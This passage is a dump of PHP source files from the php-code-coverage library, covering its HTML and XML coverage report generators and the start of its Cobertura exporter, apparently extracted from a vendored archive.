$methodsNumber, 'classes_bar' => $classesBar, 'classes_tested_percent' => $data['testedClassesPercentAsString'] ?? '', 'classes_level' => $classesLevel, 'classes_number' => $classesNumber, ] ); return $template->render(); } protected function setCommonTemplateVariables(Template $template, AbstractNode $node): void { $template->setVar( [ 'id' => $node->id(), 'full_path' => $node->pathAsString(), 'path_to_root' => $this->pathToRoot($node), 'breadcrumbs' => $this->breadcrumbs($node), 'date' => $this->date, 'version' => $this->version, 'runtime' => $this->runtimeString(), 'generator' => $this->generator, 'low_upper_bound' => $this->lowUpperBound, 'high_lower_bound' => $this->highLowerBound, ] ); } protected function breadcrumbs(AbstractNode $node): string { $breadcrumbs = ''; $path = $node->pathAsArray(); $pathToRoot = []; $max = count($path); if ($node instanceof FileNode) { $max--; } for ($i = 0; $i < $max; $i++) { $pathToRoot[] = str_repeat('../', $i); } foreach ($path as $step) { if ($step !== $node) { $breadcrumbs .= $this->inactiveBreadcrumb( $step, array_pop($pathToRoot) ); } else { $breadcrumbs .= $this->activeBreadcrumb($step); } } return $breadcrumbs; } protected function activeBreadcrumb(AbstractNode $node): string { $buffer = sprintf( ' ' . "\n", $node->name() ); if ($node instanceof DirectoryNode) { $buffer .= ' ' . "\n"; } return $buffer; } protected function inactiveBreadcrumb(AbstractNode $node, string $pathToRoot): string { return sprintf( ' ' . "\n", $pathToRoot, $node->name() ); } protected function pathToRoot(AbstractNode $node): string { $id = $node->id(); $depth = substr_count($id, '/'); if ($id !== 'index' && $node instanceof DirectoryNode) { $depth++; } return str_repeat('../', $depth); } protected function coverageBar(float $percent): string { $level = $this->colorLevel($percent); $templateName = $this->templatePath . ($this->hasBranchCoverage ? 'coverage_bar_branch.html' : 'coverage_bar.html'); $template = new Template( $templateName, '{{', '}}' ); $template->setVar(['level' => $level, 'percent' => sprintf('%.2F', $percent)]); return $template->render(); } protected function colorLevel(float $percent): string { if ($percent <= $this->lowUpperBound) { return 'danger'; } if ($percent > $this->lowUpperBound && $percent < $this->highLowerBound) { return 'warning'; } return 'success'; } private function runtimeString(): string { $runtime = new Runtime; return sprintf( '%s %s', $runtime->getVendorUrl(), $runtime->getName(), $runtime->getVersion() ); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Facade.php000064400000011053147577714370022752 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Html; use const DIRECTORY_SEPARATOR; use function copy; use function date; use function dirname; use function substr; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\InvalidArgumentException; use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; use SebastianBergmann\CodeCoverage\Util\Filesystem; final class Facade { /** * @var string */ private $templatePath; /** * @var string */ private $generator; /** * @var int */ private $lowUpperBound; /** * @var int */ private $highLowerBound; public function __construct(int $lowUpperBound = 50, int $highLowerBound = 90, string $generator = '') { if ($lowUpperBound > $highLowerBound) { throw new InvalidArgumentException( '$lowUpperBound must not be larger than $highLowerBound' ); } $this->generator = $generator; $this->highLowerBound = $highLowerBound; $this->lowUpperBound = $lowUpperBound; $this->templatePath = __DIR__ . '/Renderer/Template/'; } public function process(CodeCoverage $coverage, string $target): void { $target = $this->directory($target); $report = $coverage->getReport(); $date = date('D M j G:i:s T Y'); $dashboard = new Dashboard( $this->templatePath, $this->generator, $date, $this->lowUpperBound, $this->highLowerBound, $coverage->collectsBranchAndPathCoverage() ); $directory = new Directory( $this->templatePath, $this->generator, $date, $this->lowUpperBound, $this->highLowerBound, $coverage->collectsBranchAndPathCoverage() ); $file = new File( $this->templatePath, $this->generator, $date, $this->lowUpperBound, $this->highLowerBound, $coverage->collectsBranchAndPathCoverage() ); $directory->render($report, $target . 'index.html'); $dashboard->render($report, $target . 'dashboard.html'); foreach ($report as $node) { $id = $node->id(); if ($node instanceof DirectoryNode) { Filesystem::createDirectory($target . $id); $directory->render($node, $target . $id . '/index.html'); $dashboard->render($node, $target . $id . '/dashboard.html'); } else { $dir = dirname($target . $id); Filesystem::createDirectory($dir); $file->render($node, $target . $id); } } $this->copyFiles($target); } private function copyFiles(string $target): void { $dir = $this->directory($target . '_css'); copy($this->templatePath . 'css/bootstrap.min.css', $dir . 'bootstrap.min.css'); copy($this->templatePath . 'css/nv.d3.min.css', $dir . 'nv.d3.min.css'); copy($this->templatePath . 'css/style.css', $dir . 'style.css'); copy($this->templatePath . 'css/custom.css', $dir . 'custom.css'); copy($this->templatePath . 'css/octicons.css', $dir . 'octicons.css'); $dir = $this->directory($target . '_icons'); copy($this->templatePath . 'icons/file-code.svg', $dir . 'file-code.svg'); copy($this->templatePath . 'icons/file-directory.svg', $dir . 'file-directory.svg'); $dir = $this->directory($target . '_js'); copy($this->templatePath . 'js/bootstrap.min.js', $dir . 'bootstrap.min.js'); copy($this->templatePath . 'js/popper.min.js', $dir . 'popper.min.js'); copy($this->templatePath . 'js/d3.min.js', $dir . 'd3.min.js'); copy($this->templatePath . 'js/jquery.min.js', $dir . 'jquery.min.js'); copy($this->templatePath . 'js/nv.d3.min.js', $dir . 'nv.d3.min.js'); copy($this->templatePath . 'js/file.js', $dir . 'file.js'); } private function directory(string $directory): string { if (substr($directory, -1, 1) != DIRECTORY_SEPARATOR) { $directory .= DIRECTORY_SEPARATOR; } Filesystem::createDirectory($directory); return $directory; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Source.php000064400000002175147577714370022710 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; use TheSeer\Tokenizer\NamespaceUri; use TheSeer\Tokenizer\Tokenizer; use TheSeer\Tokenizer\XMLSerializer; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Source { /** @var DOMElement */ private $context; public function __construct(DOMElement $context) { $this->context = $context; } public function setSourceCode(string $source): void { $context = $this->context; $tokens = (new Tokenizer())->parse($source); $srcDom = (new XMLSerializer(new NamespaceUri($context->namespaceURI)))->toDom($tokens); $context->parentNode->replaceChild( $context->ownerDocument->importNode($srcDom->documentElement, true), $context ); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Report.php000064400000005062147577714370022721 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use function basename; use function dirname; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Report extends File { public function __construct(string $name) { $dom = new DOMDocument(); $dom->loadXML(''); $contextNode = $dom->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'file' )->item(0); parent::__construct($contextNode); $this->setName($name); } public function asDom(): DOMDocument { return $this->dom(); } public function functionObject($name): Method { $node = $this->contextNode()->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'function' ) ); return new Method($node, $name); } public function classObject($name): Unit { return $this->unitObject('class', $name); } public function traitObject($name): Unit { return $this->unitObject('trait', $name); } public function source(): Source { $source = $this->contextNode()->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'source' )->item(0); if (!$source) { $source = $this->contextNode()->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'source' ) ); } return new Source($source); } private function setName(string $name): void { $this->contextNode()->setAttribute('name', basename($name)); $this->contextNode()->setAttribute('path', dirname($name)); } private function unitObject(string $tagName, $name): Unit { $node = $this->contextNode()->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', $tagName ) ); return new Unit($node, $name); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Tests.php000064400000003407147577714370022551 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Tests { private $contextNode; private $codeMap = [ -1 => 'UNKNOWN', // PHPUnit_Runner_BaseTestRunner::STATUS_UNKNOWN 0 => 'PASSED', // PHPUnit_Runner_BaseTestRunner::STATUS_PASSED 1 => 'SKIPPED', // PHPUnit_Runner_BaseTestRunner::STATUS_SKIPPED 2 => 'INCOMPLETE', // PHPUnit_Runner_BaseTestRunner::STATUS_INCOMPLETE 3 => 'FAILURE', // PHPUnit_Runner_BaseTestRunner::STATUS_FAILURE 4 => 'ERROR', // PHPUnit_Runner_BaseTestRunner::STATUS_ERROR 5 => 'RISKY', // PHPUnit_Runner_BaseTestRunner::STATUS_RISKY 6 => 'WARNING', // PHPUnit_Runner_BaseTestRunner::STATUS_WARNING ]; public function __construct(DOMElement $context) { $this->contextNode = $context; } public function addTest(string $test, array $result): void { $node = $this->contextNode->appendChild( $this->contextNode->ownerDocument->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'test' ) ); $node->setAttribute('name', $test); $node->setAttribute('size', $result['size']); $node->setAttribute('result', (string) $result['status']); $node->setAttribute('status', $this->codeMap[(int) $result['status']]); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/File.php000064400000004107147577714370022324 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMDocument; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ class File { /** * @var DOMDocument */ private $dom; /** * @var DOMElement */ private $contextNode; public function __construct(DOMElement $context) { $this->dom = $context->ownerDocument; $this->contextNode = $context; } public function totals(): Totals { $totalsContainer = $this->contextNode->firstChild; if (!$totalsContainer) { $totalsContainer = $this->contextNode->appendChild( $this->dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'totals' ) ); } return new Totals($totalsContainer); } public function lineCoverage(string $line): Coverage { $coverage = $this->contextNode->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'coverage' )->item(0); if (!$coverage) { $coverage = $this->contextNode->appendChild( $this->dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'coverage' ) ); } $lineNode = $coverage->appendChild( $this->dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'line' ) ); return new Coverage($lineNode, $line); } protected function contextNode(): DOMElement { return $this->contextNode; } protected function dom(): DOMDocument { return $this->dom; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php000064400000003500147577714370023174 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; use SebastianBergmann\CodeCoverage\ReportAlreadyFinalizedException; use XMLWriter; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Coverage { /** * @var XMLWriter */ private $writer; /** * @var DOMElement */ private $contextNode; /** * @var bool */ private $finalized = false; public function __construct(DOMElement $context, string $line) { $this->contextNode = $context; $this->writer = new XMLWriter(); $this->writer->openMemory(); $this->writer->startElementNS(null, $context->nodeName, 'https://schema.phpunit.de/coverage/1.0'); $this->writer->writeAttribute('nr', $line); } /** * @throws ReportAlreadyFinalizedException */ public function addTest(string $test): void { if ($this->finalized) { throw new ReportAlreadyFinalizedException; } $this->writer->startElement('covered'); $this->writer->writeAttribute('by', $test); $this->writer->endElement(); } public function finalize(): void { $this->writer->endElement(); $fragment = $this->contextNode->ownerDocument->createDocumentFragment(); $fragment->appendXML($this->writer->outputMemory()); $this->contextNode->parentNode->replaceChild( $fragment, $this->contextNode ); $this->finalized = true; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Facade.php000064400000021620147577714370022607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use const DIRECTORY_SEPARATOR; use const PHP_EOL; use function count; use function dirname; use function file_get_contents; use function file_put_contents; use function is_array; use function is_dir; use function is_file; use function is_writable; use function libxml_clear_errors; use function libxml_get_errors; use function libxml_use_internal_errors; use function sprintf; use function strlen; use function substr; use DateTimeImmutable; use DOMDocument; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Driver\PathExistsButIsNotDirectoryException; use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; use SebastianBergmann\CodeCoverage\Node\AbstractNode; use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; use SebastianBergmann\CodeCoverage\Node\File as FileNode; use SebastianBergmann\CodeCoverage\Util\Filesystem as DirectoryUtil; use SebastianBergmann\CodeCoverage\Version; use SebastianBergmann\CodeCoverage\XmlException; use SebastianBergmann\Environment\Runtime; final class Facade { /** * @var string */ private $target; /** * @var Project */ private $project; /** * @var string */ private $phpUnitVersion; public function __construct(string $version) { $this->phpUnitVersion = $version; } /** * @throws XmlException */ public function process(CodeCoverage $coverage, string $target): void { if (substr($target, -1, 1) !== DIRECTORY_SEPARATOR) { $target .= DIRECTORY_SEPARATOR; } $this->target = $target; $this->initTargetDirectory($target); $report = $coverage->getReport(); $this->project = new Project( $coverage->getReport()->name() ); $this->setBuildInformation(); $this->processTests($coverage->getTests()); $this->processDirectory($report, $this->project); $this->saveDocument($this->project->asDom(), 'index'); } private function setBuildInformation(): void { $buildNode = $this->project->buildInformation(); $buildNode->setRuntimeInformation(new Runtime); $buildNode->setBuildTime(new DateTimeImmutable); $buildNode->setGeneratorVersions($this->phpUnitVersion, Version::id()); } /** * @throws PathExistsButIsNotDirectoryException * @throws WriteOperationFailedException */ private function initTargetDirectory(string $directory): void { if (is_file($directory)) { if (!is_dir($directory)) { throw new PathExistsButIsNotDirectoryException($directory); } if (!is_writable($directory)) { throw new WriteOperationFailedException($directory); } } DirectoryUtil::createDirectory($directory); } /** * @throws XmlException */ private function processDirectory(DirectoryNode $directory, Node $context): void { $directoryName = $directory->name(); if ($this->project->projectSourceDirectory() === $directoryName) { $directoryName = '/'; } $directoryObject = $context->addDirectory($directoryName); $this->setTotals($directory, $directoryObject->totals()); foreach ($directory->directories() as $node) { $this->processDirectory($node, $directoryObject); } foreach ($directory->files() as $node) { $this->processFile($node, $directoryObject); } } /** * @throws XmlException */ private function processFile(FileNode $file, Directory $context): void { $fileObject = $context->addFile( $file->name(), $file->id() . '.xml' ); $this->setTotals($file, $fileObject->totals()); $path = substr( $file->pathAsString(), strlen($this->project->projectSourceDirectory()) ); $fileReport = new Report($path); $this->setTotals($file, $fileReport->totals()); foreach ($file->classesAndTraits() as $unit) { $this->processUnit($unit, $fileReport); } foreach ($file->functions() as $function) { $this->processFunction($function, $fileReport); } foreach ($file->lineCoverageData() as $line => $tests) { if (!is_array($tests) || count($tests) === 0) { continue; } $coverage = $fileReport->lineCoverage((string) $line); foreach ($tests as $test) { $coverage->addTest($test); } $coverage->finalize(); } $fileReport->source()->setSourceCode( file_get_contents($file->pathAsString()) ); $this->saveDocument($fileReport->asDom(), $file->id()); } private function processUnit(array $unit, Report $report): void { if (isset($unit['className'])) { $unitObject = $report->classObject($unit['className']); } else { $unitObject = $report->traitObject($unit['traitName']); } $unitObject->setLines( $unit['startLine'], $unit['executableLines'], $unit['executedLines'] ); $unitObject->setCrap((float) $unit['crap']); $unitObject->setNamespace($unit['namespace']); foreach ($unit['methods'] as $method) { $methodObject = $unitObject->addMethod($method['methodName']); $methodObject->setSignature($method['signature']); $methodObject->setLines((string) $method['startLine'], (string) $method['endLine']); $methodObject->setCrap($method['crap']); $methodObject->setTotals( (string) $method['executableLines'], (string) $method['executedLines'], (string) $method['coverage'] ); } } private function processFunction(array $function, Report $report): void { $functionObject = $report->functionObject($function['functionName']); $functionObject->setSignature($function['signature']); $functionObject->setLines((string) $function['startLine']); $functionObject->setCrap($function['crap']); $functionObject->setTotals((string) $function['executableLines'], (string) $function['executedLines'], (string) $function['coverage']); } private function processTests(array $tests): void { $testsObject = $this->project->tests(); foreach ($tests as $test => $result) { $testsObject->addTest($test, $result); } } private function setTotals(AbstractNode $node, Totals $totals): void { $loc = $node->linesOfCode(); $totals->setNumLines( $loc['linesOfCode'], $loc['commentLinesOfCode'], $loc['nonCommentLinesOfCode'], $node->numberOfExecutableLines(), $node->numberOfExecutedLines() ); $totals->setNumClasses( $node->numberOfClasses(), $node->numberOfTestedClasses() ); $totals->setNumTraits( $node->numberOfTraits(), $node->numberOfTestedTraits() ); $totals->setNumMethods( $node->numberOfMethods(), $node->numberOfTestedMethods() ); $totals->setNumFunctions( $node->numberOfFunctions(), $node->numberOfTestedFunctions() ); } private function targetDirectory(): string { return $this->target; } /** * @throws XmlException */ private function saveDocument(DOMDocument $document, string $name): void { $filename = sprintf('%s/%s.xml', $this->targetDirectory(), $name); $document->formatOutput = true; $document->preserveWhiteSpace = false; $this->initTargetDirectory(dirname($filename)); file_put_contents($filename, $this->documentAsString($document)); } /** * @throws XmlException * * @see https://bugs.php.net/bug.php?id=79191 */ private function documentAsString(DOMDocument $document): string { $xmlErrorHandling = libxml_use_internal_errors(true); $xml = $document->saveXML(); if ($xml === false) { $message = 'Unable to generate the XML'; foreach (libxml_get_errors() as $error) { $message .= PHP_EOL . $error->message; } throw new XmlException($message); } libxml_clear_errors(); libxml_use_internal_errors($xmlErrorHandling); return $xml; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Project.php000064400000004630147577714370023054 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Project extends Node { public function __construct(string $directory) { $this->init(); $this->setProjectSourceDirectory($directory); } public function projectSourceDirectory(): string { return $this->contextNode()->getAttribute('source'); } public function buildInformation(): BuildInformation { $buildNode = $this->dom()->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'build' )->item(0); if (!$buildNode) { $buildNode = $this->dom()->documentElement->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'build' ) ); } return new BuildInformation($buildNode); } public function tests(): Tests { $testsNode = $this->contextNode()->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'tests' )->item(0); if (!$testsNode) { $testsNode = $this->contextNode()->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'tests' ) ); } return new Tests($testsNode); } public function asDom(): DOMDocument { return $this->dom(); } private function init(): void { $dom = new DOMDocument; $dom->loadXML(''); $this->setContextNode( $dom->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'project' )->item(0) ); } private function setProjectSourceDirectory(string $name): void { $this->contextNode()->setAttribute('source', $name); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Directory.php000064400000000737147577714370023416 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Directory extends Node { } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Method.php000064400000003121147577714370022660 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Method { /** * @var DOMElement */ private $contextNode; public function __construct(DOMElement $context, string $name) { $this->contextNode = $context; $this->setName($name); } public function setSignature(string $signature): void { $this->contextNode->setAttribute('signature', $signature); } public function setLines(string $start, ?string $end = null): void { $this->contextNode->setAttribute('start', $start); if ($end !== null) { $this->contextNode->setAttribute('end', $end); } } public function setTotals(string $executable, string $executed, string $coverage): void { $this->contextNode->setAttribute('executable', $executable); $this->contextNode->setAttribute('executed', $executed); $this->contextNode->setAttribute('coverage', $coverage); } public function setCrap(string $crap): void { $this->contextNode->setAttribute('crap', $crap); } private function setName(string $name): void { $this->contextNode->setAttribute('name', $name); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php000064400000005130147577714370024707 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use function constant; use function phpversion; use DateTimeImmutable; use DOMElement; use SebastianBergmann\Environment\Runtime; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class BuildInformation { /** * @var DOMElement */ private $contextNode; public function __construct(DOMElement $contextNode) { $this->contextNode = $contextNode; } public function setRuntimeInformation(Runtime $runtime): void { $runtimeNode = $this->nodeByName('runtime'); $runtimeNode->setAttribute('name', $runtime->getName()); $runtimeNode->setAttribute('version', $runtime->getVersion()); $runtimeNode->setAttribute('url', $runtime->getVendorUrl()); $driverNode = $this->nodeByName('driver'); if ($runtime->hasPHPDBGCodeCoverage()) { $driverNode->setAttribute('name', 'phpdbg'); $driverNode->setAttribute('version', constant('PHPDBG_VERSION')); } if ($runtime->hasXdebug()) { $driverNode->setAttribute('name', 'xdebug'); $driverNode->setAttribute('version', phpversion('xdebug')); } if ($runtime->hasPCOV()) { $driverNode->setAttribute('name', 'pcov'); $driverNode->setAttribute('version', phpversion('pcov')); } } public function setBuildTime(DateTimeImmutable $date): void { $this->contextNode->setAttribute('time', $date->format('D M j G:i:s T Y')); } public function setGeneratorVersions(string $phpUnitVersion, string $coverageVersion): void { $this->contextNode->setAttribute('phpunit', $phpUnitVersion); $this->contextNode->setAttribute('coverage', $coverageVersion); } private function nodeByName(string $name): DOMElement { $node = $this->contextNode->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', $name )->item(0); if (!$node) { $node = $this->contextNode->appendChild( $this->contextNode->ownerDocument->createElementNS( 'https://schema.phpunit.de/coverage/1.0', $name ) ); } return $node; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Unit.php000064400000004133147577714370022363 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Unit { /** * @var DOMElement */ private $contextNode; public function __construct(DOMElement $context, string $name) { $this->contextNode = $context; $this->setName($name); } public function setLines(int $start, int $executable, int $executed): void { $this->contextNode->setAttribute('start', (string) $start); $this->contextNode->setAttribute('executable', (string) $executable); $this->contextNode->setAttribute('executed', (string) $executed); } public function setCrap(float $crap): void { $this->contextNode->setAttribute('crap', (string) $crap); } public function setNamespace(string $namespace): void { $node = $this->contextNode->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'namespace' )->item(0); if (!$node) { $node = $this->contextNode->appendChild( $this->contextNode->ownerDocument->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'namespace' ) ); } $node->setAttribute('name', $namespace); } public function addMethod(string $name): Method { $node = $this->contextNode->appendChild( $this->contextNode->ownerDocument->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'method' ) ); return new Method($node, $name); } private function setName(string $name): void { $this->contextNode->setAttribute('name', $name); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Totals.php000064400000010543147577714370022714 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use function sprintf; use DOMElement; use DOMNode; use SebastianBergmann\CodeCoverage\Util\Percentage; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Totals { /** * @var DOMNode */ private $container; /** * @var DOMElement */ private $linesNode; /** * @var DOMElement */ private $methodsNode; /** * @var DOMElement */ private $functionsNode; /** * @var DOMElement */ private $classesNode; /** * @var DOMElement */ private $traitsNode; public function __construct(DOMElement $container) { $this->container = $container; $dom = $container->ownerDocument; $this->linesNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'lines' ); $this->methodsNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'methods' ); $this->functionsNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'functions' ); $this->classesNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'classes' ); $this->traitsNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'traits' ); $container->appendChild($this->linesNode); $container->appendChild($this->methodsNode); $container->appendChild($this->functionsNode); $container->appendChild($this->classesNode); $container->appendChild($this->traitsNode); } public function container(): DOMNode { return $this->container; } public function setNumLines(int $loc, int $cloc, int $ncloc, int $executable, int $executed): void { $this->linesNode->setAttribute('total', (string) $loc); $this->linesNode->setAttribute('comments', (string) $cloc); $this->linesNode->setAttribute('code', (string) $ncloc); $this->linesNode->setAttribute('executable', (string) $executable); $this->linesNode->setAttribute('executed', (string) $executed); $this->linesNode->setAttribute( 'percent', $executable === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($executed, $executable)->asFloat()) ); } public function setNumClasses(int $count, int $tested): void { $this->classesNode->setAttribute('count', (string) $count); $this->classesNode->setAttribute('tested', (string) $tested); $this->classesNode->setAttribute( 'percent', $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()) ); } public function setNumTraits(int $count, int $tested): void { $this->traitsNode->setAttribute('count', (string) $count); $this->traitsNode->setAttribute('tested', (string) $tested); $this->traitsNode->setAttribute( 'percent', $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()) ); } public function setNumMethods(int $count, int $tested): void { $this->methodsNode->setAttribute('count', (string) $count); $this->methodsNode->setAttribute('tested', (string) $tested); $this->methodsNode->setAttribute( 'percent', $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()) ); } public function setNumFunctions(int $count, int $tested): void { $this->functionsNode->setAttribute('count', (string) $count); $this->functionsNode->setAttribute('tested', (string) $tested); $this->functionsNode->setAttribute( 'percent', $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()) ); } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Xml/Node.php000064400000004326147577714370022335 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMDocument; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ abstract class Node { /** * @var DOMDocument */ private $dom; /** * @var DOMElement */ private $contextNode; public function __construct(DOMElement $context) { $this->setContextNode($context); } public function dom(): DOMDocument { return $this->dom; } public function totals(): Totals { $totalsContainer = $this->contextNode()->firstChild; if (!$totalsContainer) { $totalsContainer = $this->contextNode()->appendChild( $this->dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'totals' ) ); } return new Totals($totalsContainer); } public function addDirectory(string $name): Directory { $dirNode = $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'directory' ); $dirNode->setAttribute('name', $name); $this->contextNode()->appendChild($dirNode); return new Directory($dirNode); } public function addFile(string $name, string $href): File { $fileNode = $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'file' ); $fileNode->setAttribute('name', $name); $fileNode->setAttribute('href', $href); $this->contextNode()->appendChild($fileNode); return new File($fileNode); } protected function setContextNode(DOMElement $context): void { $this->dom = $context->ownerDocument; $this->contextNode = $context; } protected function contextNode(): DOMElement { return $this->contextNode; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Cobertura.php000064400000030654147577714370022641 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report; use function count; use function dirname; use function file_put_contents; use function range; use function time; use DOMImplementation; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; use SebastianBergmann\CodeCoverage\Node\File; use SebastianBergmann\CodeCoverage\Util\Filesystem; final class Cobertura { /** * @throws WriteOperationFailedException */ public function process(CodeCoverage $coverage, ?string $target = null, ?string $name = null): string { $time = (string) time(); $report = $coverage->getReport(); $implementation = new DOMImplementation; $documentType = $implementation->createDocumentType( 'coverage', '', 'http://cobertura.sourceforge.net/xml/coverage-04.dtd' ); $document = $implementation->createDocument('', '', $documentType); $document->xmlVersion = '1.0'; $document->encoding = 'UTF-8'; $document->formatOutput = true; $coverageElement = $document->createElement('coverage'); $linesValid = $report->numberOfExecutableLines(); $linesCovered = $report->numberOfExecutedLines(); $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); $coverageElement->setAttribute('line-rate', (string) $lineRate); $branchesValid = $report->numberOfExecutableBranches(); $branchesCovered = $report->numberOfExecutedBranches(); $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); $coverageElement->setAttribute('branch-rate', (string) $branchRate); $coverageElement->setAttribute('lines-covered', (string) $report->numberOfExecutedLines()); $coverageElement->setAttribute('lines-valid', (string) $report->numberOfExecutableLines()); $coverageElement->setAttribute('branches-covered', (string) $report->numberOfExecutedBranches()); $coverageElement->setAttribute('branches-valid', (string) $report->numberOfExecutableBranches()); $coverageElement->setAttribute('complexity', ''); $coverageElement->setAttribute('version', '0.4'); $coverageElement->setAttribute('timestamp', $time); $document->appendChild($coverageElement); $sourcesElement = $document->createElement('sources'); $coverageElement->appendChild($sourcesElement); $sourceElement = $document->createElement('source', $report->pathAsString()); $sourcesElement->appendChild($sourceElement); $packagesElement = $document->createElement('packages'); $coverageElement->appendChild($packagesElement); $complexity = 0; foreach ($report as $item) { if (!$item instanceof File) { continue; } $packageElement = $document->createElement('package'); $packageComplexity = 0; $packageName = $name ?? ''; $packageElement->setAttribute('name', $packageName); $linesValid = $item->numberOfExecutableLines(); $linesCovered = $item->numberOfExecutedLines(); 